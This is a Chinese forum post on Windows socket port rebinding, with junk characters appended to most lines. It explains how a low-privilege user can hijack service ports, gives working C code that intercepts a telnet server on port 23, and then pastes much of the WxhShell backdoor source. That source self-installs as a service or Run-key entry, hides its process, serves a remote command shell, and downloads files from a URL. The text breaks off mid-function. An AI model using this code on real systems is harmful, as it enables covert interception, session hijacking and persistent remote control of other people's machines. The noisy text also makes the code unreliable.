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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: LPK[^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?<h|Q~JH  
whb,2=gIE  
  saddr.sin_family = AF_INET; Ks FkC=  
o)SA^5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S<=|i  
iD`>Bt7gD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~9h/{$  
ZB5u\NpcW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v3Xt<I=4y  
C#@>osC  
  这意味着什么?意味着可以进行如下的攻击: P%_PG%O2p  
OdHl)"#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x^u [L$  
IKVS7m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h6uv7n~4  
(8d"G9R(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J]mq|vE  
/aX#j`PrH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |\] _u 3  
vm4q1!!(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \h UE, ^  
; w+<yW}EL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^eHf'^Cvvu  
<F#/wU^9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f3M~2jbv'p  
kf>L  
  #include 6S6E 1~  
  #include 0\a;} S'g#  
  #include =[x @BzH  
  #include    lgei<\6~n5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   g4CdzN~  
  int main() = }6l.9  
  { avwhGys#  
  WORD wVersionRequested; ;y%C\YB#  
  DWORD ret; HS[N]'dc  
  WSADATA wsaData; t]PO4GA  
  BOOL val; uU#7SX(uu  
  SOCKADDR_IN saddr; ]CZ&JL  
  SOCKADDR_IN scaddr; ZW>?y$C+  
  int err; {H$m1=S  
  SOCKET s; GFmVR2z_+  
  SOCKET sc; w 7Y>B`wm?  
  int caddsize; 97~*Z|#<+  
  HANDLE mt; .>bvI1  
  DWORD tid;   s\#eD0|  
  wVersionRequested = MAKEWORD( 2, 2 ); 1h0cId8d  
  err = WSAStartup( wVersionRequested, &wsaData ); -YfpfNt  
  if ( err != 0 ) { jm$v0=W9#  
  printf("error!WSAStartup failed!\n"); 5p5S_%R$e  
  return -1; 7.DAwx.HYK  
  } ~n $e  
  saddr.sin_family = AF_INET; f[$9k}.  
   dab[x@#r>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ({l!'>?  
c N^,-~U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1> wt  
  saddr.sin_port = htons(23); r -SQk>Y}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '@Q aeFm  
  { oP( Hkp,'  
  printf("error!socket failed!\n"); ee5QZ,  
  return -1; qGgqAF#B  
  } l: X]$2;  
  val = TRUE; u%`4;|tI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S/l?wwD  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +ysP#uAA  
  { \JX.)&> -  
  printf("error!setsockopt failed!\n"); glvt umv  
  return -1; #6 yi  
  } {2,OK=XM|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a|\ZC\(xI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3kl\W[`?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \hcb~>=C  
;}=[( eqA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Nq3q##Ut:  
  { Ikbz3]F^V  
  ret=GetLastError(); =W Q_5}  
  printf("error!bind failed!\n"); ?[K \X  
  return -1; USrg,A  
  } QA3q9,C"  
  listen(s,2); Z*Qra4GBl]  
  while(1) V/jEMJNks  
  { Q<F-l. q   
  caddsize = sizeof(scaddr); _a3,Zuv  
  //接受连接请求 ;2=H7dq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zXHCP.Rmg  
  if(sc!=INVALID_SOCKET) (!0=~x|Z[  
  { E?/Bf@a28=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SmJ6Fm6  
  if(mt==NULL) D; 0iNcit  
  { <Hq|<^_K  
  printf("Thread Creat Failed!\n"); X(;,-7Jw  
  break; T;u>]"S  
  } !pNY`sw}  
  } 8yDu(.Q  
  CloseHandle(mt); 1Lf:TQB  
  } =Qcz:ng  
  closesocket(s); @pKQ}?  
  WSACleanup(); 5$|wW}SA  
  return 0; }FTyRHD|  
  }   `Al5(0Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^dzg'6M  
  { K8l|qe  
  SOCKET ss = (SOCKET)lpParam; U_UX *  
  SOCKET sc; W&U Nk,  
  unsigned char buf[4096]; =N9a!i i|  
  SOCKADDR_IN saddr; fi2@`37PM  
  long num; n>Rt9   
  DWORD val; x@I(G "  
  DWORD ret; U&D"fM8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )&j4F)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7O)U(<70  
  saddr.sin_family = AF_INET; [8VB"{{&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); TuBl9 p'6  
  saddr.sin_port = htons(23); ]tVU$9D   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tCk;tu!d  
  { ">G|\_ZF  
  printf("error!socket failed!\n"); q,JMmhWaT  
  return -1; 'j)xryw  
  } 0.~Pzg  
  val = 100; w6fVZY4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 76\ir<1up  
  { eoS8e$}  
  ret = GetLastError(); \wxS~T<&L  
  return -1; ]Xur/C2A  
  } R18jju>Zr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ov=[g l  
  { K>h=  
  ret = GetLastError(); 8gv \`  
  return -1; aIv>X@U}  
  } @}K'Ic  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) McgTTM;E  
  { %r0yBK2uOp  
  printf("error!socket connect failed!\n"); _91g=pM   
  closesocket(sc); !po8[fz~x  
  closesocket(ss); <|M cE  
  return -1; 0@yHT-Dy  
  } J>YwMl  
  while(1) !79^M  
  { wjF/c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  #cqia0.H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gp:,DC?(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y{TzN%|LV  
  num = recv(ss,buf,4096,0); m ?a&XZ  
  if(num>0) Uj)~>V'  
  send(sc,buf,num,0); ,c@^u6a  
  else if(num==0) XHgwK @GU  
  break; y#:_K(A" k  
  num = recv(sc,buf,4096,0); krPwFp2[*  
  if(num>0) )QGj\2I  
  send(ss,buf,num,0); c|lo%[]R!  
  else if(num==0) ; /fZh:V2  
  break; GNzk Vy:u  
  } Fg)Iw<7_2  
  closesocket(ss); M1^?_;B  
  closesocket(sc); 92F (Sl  
  return 0 ; WHQg6r  
  } + RX{  
TKpka]nJ  
njveZav  
========================================================== r^mP'#  
8,pnm  
下边附上一个代码,,WXhSHELL XO+^q9  
l+'@y (}Q  
========================================================== K14e"w%6rs  
.(OFYK<  
#include "stdafx.h" Gpws_ jw  
QCFLi n+r  
#include <stdio.h>  `Nn=6[]  
#include <string.h> Z5re Fok  
#include <windows.h> NDW6UFd>1  
#include <winsock2.h> wfQ 6J0  
#include <winsvc.h> 6fhH)]0  
#include <urlmon.h> 0Zp) DM  
Y]aVa2!Wb  
#pragma comment (lib, "Ws2_32.lib") MzRws f  
#pragma comment (lib, "urlmon.lib") 7t7"glP  
)UA};Fus  
#define MAX_USER   100 // 最大客户端连接数 *p}b_A}D  
#define BUF_SOCK   200 // sock buffer 3~~KtH=  
#define KEY_BUFF   255 // 输入 buffer DIH|6R  
=7@N'xX  
#define REBOOT     0   // 重启 $<.\,wW*'w  
#define SHUTDOWN   1   // 关机 bI 3o|  
5t`< KRz)I  
#define DEF_PORT   5000 // 监听端口 w yP|#Z\  
rmS.$h@7 m  
#define REG_LEN     16   // 注册表键长度 XBE+O7  
#define SVC_LEN     80   // NT服务名长度 `0Y`]kSY+  
:DTKZ9>2D  
// 从dll定义API 095:"GvO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;LRY h?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f]MKNX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )?#*GMWU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U}ei2q\  
SFVOof#s  
// wxhshell配置信息 a>x3UVf_  
struct WSCFG { u}ULb F  
  int ws_port;         // 监听端口 9MQ!5Zn  
  char ws_passstr[REG_LEN]; // 口令 S)T]>Ash  
  int ws_autoins;       // 安装标记, 1=yes 0=no {  O+d7,C  
  char ws_regname[REG_LEN]; // 注册表键名 #nV F.  
  char ws_svcname[REG_LEN]; // 服务名 Gf'qPLK0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G+2!+N\P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u`I&&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;i*<HNQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no | +osEHC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "]\sw"zO?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D#}t)$"  
n qSjP5  
}; ]v&)mK]n=o  
\vj<9ke&  
// default Wxhshell configuration #zflU99d  
struct WSCFG wscfg={DEF_PORT, F !DDlYUz.  
    "xuhuanlingzhe", LT7C>b  
    1, -FRMal4Pg0  
    "Wxhshell", |[apLQ6  
    "Wxhshell", h"Qp e'D}  
            "WxhShell Service", &[u%ZL  
    "Wrsky Windows CmdShell Service", U$+EUDFi3_  
    "Please Input Your Password: ", ~d]X@(G&  
  1, #-5.G>8  
  "http://www.wrsky.com/wxhshell.exe", W^{zlg  
  "Wxhshell.exe" !nh7<VJ  
    }; )Il) H  
coa+@g,w7#  
// 消息定义模块 /J''`Tf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jc rLUs+\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~6YTm6o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cu{c:z~  
char *msg_ws_ext="\n\rExit."; m'{gO9V  
char *msg_ws_end="\n\rQuit."; jeb ]3i=pw  
char *msg_ws_boot="\n\rReboot..."; ]-ad\PI$  
char *msg_ws_poff="\n\rShutdown..."; c>I(6$  
char *msg_ws_down="\n\rSave to "; %d-|C.  
L'(ei7Z  
char *msg_ws_err="\n\rErr!"; 7i- G5%w7  
char *msg_ws_ok="\n\rOK!"; \ZN>7?Vs  
ncw)VH;_-  
char ExeFile[MAX_PATH]; SI_u0j4%*  
int nUser = 0; uG-t)pej  
HANDLE handles[MAX_USER]; vmEbk/Vy  
int OsIsNt; {A<pb{<u  
fXNl27c-  
SERVICE_STATUS       serviceStatus; ca )n*SD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -rg >y!L  
2F5*C  
// 函数声明 %?<Y&t  
int Install(void); \! `k:lusa  
int Uninstall(void); @8\7H'K"\  
int DownloadFile(char *sURL, SOCKET wsh); X#v6v)c  
int Boot(int flag); }eKY%WU>O  
void HideProc(void); TS2zzYE6Z  
int GetOsVer(void); ;iA6[uz  
int Wxhshell(SOCKET wsl); )W,tL*9[  
void TalkWithClient(void *cs); m9~cQ!m  
int CmdShell(SOCKET sock); 6:\0=k5  
int StartFromService(void); vs=8x\W  
int StartWxhshell(LPSTR lpCmdLine); *vFXe_.  
B\WIoz;'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -/^a2_d[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =:neGqd\_E  
>)`yG'[  
// 数据结构和表定义 #bIUO2yVo  
SERVICE_TABLE_ENTRY DispatchTable[] = %?2:1o  
{ Q[rmsk 2L'  
{wscfg.ws_svcname, NTServiceMain}, O+f'Ql  
{NULL, NULL} YCBp ]xuE  
}; Y\7WCaSgi  
LIah'6qR  
// 自我安装 ;@5N  
int Install(void) h7?uM^p  
{ p.%lE! v  
  char svExeFile[MAX_PATH]; )By #({O  
  HKEY key; L0^rw|Z%'  
  strcpy(svExeFile,ExeFile); Nw3K@ Ge  
[hhPkJf|f  
// 如果是win9x系统,修改注册表设为自启动 ve3-GWT{C  
if(!OsIsNt) { tBB\^xq:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `8x.Mv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D MzDV_  
  RegCloseKey(key); cc0e(\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v35!? 5{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gdj,e ^  
  RegCloseKey(key);  b79z<D  
  return 0; g$?kL  
    } wC&+nS1  
  } v % c-El%  
} vV$6fvS  
else { $!LL  
+uqP:z  
// 如果是NT以上系统,安装为系统服务 F/ si =%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w *Txc}  
if (schSCManager!=0) [}*xxy   
{  0?80V'  
  SC_HANDLE schService = CreateService ;NoD4*  
  ( fkHCfcU  
  schSCManager, >Hd Pcsl L  
  wscfg.ws_svcname, x<=<Lx0B;  
  wscfg.ws_svcdisp, Lb=4\ _  
  SERVICE_ALL_ACCESS, @Jh;YDr`A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]DJ] L=T7  
  SERVICE_AUTO_START, 5f}GV0=n  
  SERVICE_ERROR_NORMAL, |V dr/'  
  svExeFile, k$d+w][  
  NULL, (@(rz/H  
  NULL, LX%UkfA9  
  NULL, 6'a1]K  
  NULL, (?ofL|Cg(  
  NULL e$Npo<u  
  ); vyhxS.[9  
  if (schService!=0) 9{- Sa  
  { 6\5"36&/rQ  
  CloseServiceHandle(schService); mo*ClU7  
  CloseServiceHandle(schSCManager); +)<H,?/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .}*_NU   
  strcat(svExeFile,wscfg.ws_svcname); _mG>^QI.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1)N~0)dO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p=jIDM'  
  RegCloseKey(key); $ T2 n^yz  
  return 0; `21$e  
    } G5Z_[Q ~z  
  } y9::m]s  
  CloseServiceHandle(schSCManager); gPf^dGi7t  
} Gi S{=+=5  
} #U ?=D/  
nq,P.~l  
return 1; d>bS)  
} wM0P#+bA\  
U/j+\Kc~  
// 自我卸载 l(A>Rw|  
int Uninstall(void) @FLa i  
{ ];U}'&  
  HKEY key; Q<UKR|6  
69C>oX  
if(!OsIsNt) { 7a#zr_r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B,NHy C1i  
  RegDeleteValue(key,wscfg.ws_regname); !fT3mI6u\  
  RegCloseKey(key); TM*<hC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k 1sR^&{l  
  RegDeleteValue(key,wscfg.ws_regname); j"J[dlm2M  
  RegCloseKey(key); ]/TqPOi:  
  return 0;  $hgsWa  
  } y0b FzR9  
} Fq`wx  
} rvwfQ'14  
else { Z#_+yw  
mEVne.D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q"D%xY  
if (schSCManager!=0) M].D27  
{ ?]Z EK8c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?cmv;KV   
  if (schService!=0) F qH@i Z  
  { zrazFI0G  
  if(DeleteService(schService)!=0) { Z:kX9vw.  
  CloseServiceHandle(schService); se^(1R k  
  CloseServiceHandle(schSCManager); *p>1s!i  
  return 0; vkg."G:=  
  } L\/YS;Y  
  CloseServiceHandle(schService); ANWUo}j  
  } "PtOe[Xk  
  CloseServiceHandle(schSCManager); .:?cU#.  
} h"849c;C.  
} ?D]qw4J  
o<f|jGY0  
return 1; lV )SOs$  
} i#1~<U  
cd?arIV5  
// 从指定url下载文件 Z`97=:W  
int DownloadFile(char *sURL, SOCKET wsh) |@lVFEl]  
{ > qDHb'  
  HRESULT hr; "YQ%j+  
char seps[]= "/"; ^{(i;IVG  
char *token; 5^GFN*poig  
char *file; K" U!SWv  
char myURL[MAX_PATH]; a8[Q1Fa4|  
char myFILE[MAX_PATH]; g$eZT{{W  
Z+J;nl  
strcpy(myURL,sURL); ?&>H^}gDZ  
  token=strtok(myURL,seps); }y P98N5o  
  while(token!=NULL) /{7we$+,p  
  { AYLCdCoK.  
    file=token;  l6uU S  
  token=strtok(NULL,seps); u9~RD  
  } j6.'7f5M<H  
PdNxuy  
GetCurrentDirectory(MAX_PATH,myFILE); $v*0 \O  
strcat(myFILE, "\\"); YTo^Q&  
strcat(myFILE, file); b/Q\ .!  
  send(wsh,myFILE,strlen(myFILE),0); WKB@9Vfju  
send(wsh,"...",3,0); /naGn@m5u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7IV:X _y  
  if(hr==S_OK) y9'F D5\s  
return 0; Q`4]\)Dp  
else c-, 6k  
return 1; KJLK]lf}d  
^FZ7)T  
} t1h2ibO  
TPeBb8v 8D  
// 系统电源模块 {cF >, T  
int Boot(int flag) `9yR,Xk=l  
{ \ mt> R[  
  HANDLE hToken; fqgm`4>  
  TOKEN_PRIVILEGES tkp; 6opu bI<  
<0hJo=6a8  
  if(OsIsNt) { uY5Gn.Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p<9e5`& I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y><")%Q  
    tkp.PrivilegeCount = 1; [ queXDn"m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _Mis-K:]{?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bhnwb0b<  
if(flag==REBOOT) { $3C$])k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UIl^s8/  
  return 0; F< #!83*%  
} mp x/~`c  
else { Q(e3-a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^M Zdht   
  return 0; 9+sOSz~ P  
} k-M-=VvA  
  } W%k0_Y/5  
  else { P=jbr"5Q:  
if(flag==REBOOT) { U2(|/M+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZdJer6:Z}  
  return 0; ?-e'gC  
} i%R2#F7I  
else { :8<\]}J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U.@j !UrZ  
  return 0; ;%R+]&J  
} `Y`QxU!d%  
} pdrF/U+  
L'JEkji"  
return 1; 7v~\c%1V  
} F ;m1I+;  
Jc#()4  
// win9x进程隐藏模块 %Jr6pmc  
void HideProc(void) 2 #+g4  
{ VK)K#!O8  
5_mb+A n,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1Jx|0YmO  
  if ( hKernel != NULL ) Kb#}f/  
  { 3GSoHsNk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 32f lOi:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Odo"S;)  
    FreeLibrary(hKernel); -;?5<>zZ  
  } w]{NaNIeq1  
-pRyN]YD  
return; X%1fMC  
} ?q%)8 E  
+c699j;[  
// 获取操作系统版本 R":nG7o  
int GetOsVer(void) h69: Tj!  
{ &!3=eVg  
  OSVERSIONINFO winfo; 3d{v5. C#X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y.Er!(pz  
  GetVersionEx(&winfo); !0g+}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9K8f ##3  
  return 1; I!)gXtJA"  
  else hr<E%J1k%  
  return 0; \kpk-[W*x{  
} 'xdM>y#S  
R; X8%'   
// 客户端句柄模块 NAj1ORy4pX  
int Wxhshell(SOCKET wsl) COw]1 R  
{ 9 GdrJ~h  
  SOCKET wsh; S!GjCog^J  
  struct sockaddr_in client; 'U)|m  
  DWORD myID; #pxc6W /  
@5%cP  
  while(nUser<MAX_USER) !P, 9Sg&5)  
{ <:u)C;  
  int nSize=sizeof(client); ,uD>.->  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2&W(@wT$  
  if(wsh==INVALID_SOCKET) return 1; -ANp88a  
F*QD\sG:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =GQ?P*x|$  
if(handles[nUser]==0) }0#cdw#gH  
  closesocket(wsh); >?,arER  
else mmXLGLMd  
  nUser++; |n;gGR\  
  } YZCPS6PuE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O,_2dj d  
NA`3   
  return 0; P'D~Y#^  
} Y"mD)\Bw?  
=L$};ko  
// 关闭 socket J ,fXXi)J  
void CloseIt(SOCKET wsh) y @AKb  
{ S{Au%Rs  
closesocket(wsh); xXK7i\ny  
nUser--; [Bp[=\  
ExitThread(0); 5FHpJlFK,  
} $2F*p#l(<Z  
:&dY1.<N+  
// 客户端请求句柄 j>M 'nQ,;d  
void TalkWithClient(void *cs) &b}!KD1  
{ |,]#vcJP#b  
gU/\'~HG  
  SOCKET wsh=(SOCKET)cs; V|{ )P@Q  
  char pwd[SVC_LEN]; #kX=$Bzk  
  char cmd[KEY_BUFF]; I0O)MR<  
char chr[1]; Zg7~&vs$  
int i,j; xZS  
: H<u@%  
  while (nUser < MAX_USER) { ?T5^hQT   
_f,q8ZkSr  
if(wscfg.ws_passstr) { >ofS'mp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :Qu!0tY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <W vuW6  
  //ZeroMemory(pwd,KEY_BUFF); Y ,?  
      i=0; TUZ-4{kV"  
  while(i<SVC_LEN) { dH!k {3bL  
@6i^wC  
  // 设置超时 VVJhQbP  
  fd_set FdRead; C9Fc(Y?_  
  struct timeval TimeOut; "Q+'lA[}  
  FD_ZERO(&FdRead); 2s EdN$O  
  FD_SET(wsh,&FdRead); Xt'R@"H<V9  
  TimeOut.tv_sec=8; L]#J?lE&  
  TimeOut.tv_usec=0; Ydmz!CEu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oC U8;z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gsc*![N  
"twV3R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @?K(+BGi  
  pwd=chr[0]; >}<:5gZtA  
  if(chr[0]==0xd || chr[0]==0xa) { 7%8,*T  
  pwd=0; -z0,IYG }  
  break; [j}%&$  
  } P _Zf(`jJ  
  i++; &}w,bG$  
    } Q=gVxS  
8ne'x!1 D  
  // 如果是非法用户,关闭 socket _Ux>BJmP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AUoi$DF(@  
} M.d{:&@`%  
622mNY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >Q+a'bd w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X!,Ngmw.  
rN{&$+"2  
while(1) { h&yaug,.  
Y*f7& '[  
  ZeroMemory(cmd,KEY_BUFF); >K-O2dry*  
c.&vWmLSGE  
      // 自动支持客户端 telnet标准   C-_u; NEu  
  j=0; #B'WT{B$/~  
  while(j<KEY_BUFF) { zv#i\8h^p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3 %dbfT j  
  cmd[j]=chr[0]; d&?B/E^  
  if(chr[0]==0xa || chr[0]==0xd) { /R k5n  
  cmd[j]=0; fylW)W4C  
  break; fdd3H[  
  } ]$nJn+85@b  
  j++; s&y  
    } 4_t aCK  
%)l2dK&9"j  
  // 下载文件 N ~M:+ \  
  if(strstr(cmd,"http://")) { &.7\{q\(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -mX _I{BJ  
  if(DownloadFile(cmd,wsh)) )l30~5u<J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f*5=,$0  
  else  G!O D7:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )KBv[|  
  } FNmIXpAn*@  
  else { Z1\_[GA  
ZQl[h7c/N  
    switch(cmd[0]) { a%(1#2^`q!  
  gMI%z2]'-  
  // 帮助 B7 }-g"p$/  
  case '?': { ,{8~TVO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9KXp0Q?-$  
    break; r7ywK9UL  
  } tk}qvW.Ii  
  // 安装 ,*S?L qv^  
  case 'i': { 3tIIBOwg[  
    if(Install()) >PySd"u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s o~p+]  
    else ^5,ASU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -+Q,xxu  
    break; "[GIW+ui  
    } 4sZ^:h,1  
  // 卸载 >454Yir0Mk  
  case 'r': { M_79\Gz"  
    if(Uninstall()) =nid #<X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~`-9i{L  
    else #0xvxg%{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %$]u6GKabi  
    break; HNU[W8mg8  
    } c}v:X Slh7  
  // 显示 wxhshell 所在路径 S8"X7\d{  
  case 'p': { b55|JWfC`  
    char svExeFile[MAX_PATH]; ?m?e2{]u,  
    strcpy(svExeFile,"\n\r"); _FdWV?  
      strcat(svExeFile,ExeFile); }clFaT>m?  
        send(wsh,svExeFile,strlen(svExeFile),0); ` GPK$ue  
    break; _/E>38G]  
    } XkdNWR0  
  // 重启 qKO\;e*  
  case 'b': { wc__g8?'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UdL`.D,  
    if(Boot(REBOOT)) 2s 6Vy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S~6<'N&[  
    else { HHEFX9u  
    closesocket(wsh); Iv/yIS  
    ExitThread(0); `+zr PpX  
    } kN]#;R6  
    break; P'Y8 t  
    } @KS:d\l}U  
  // 关机 ;WGY)=-gv  
  case 'd': { `RmB{qgB  
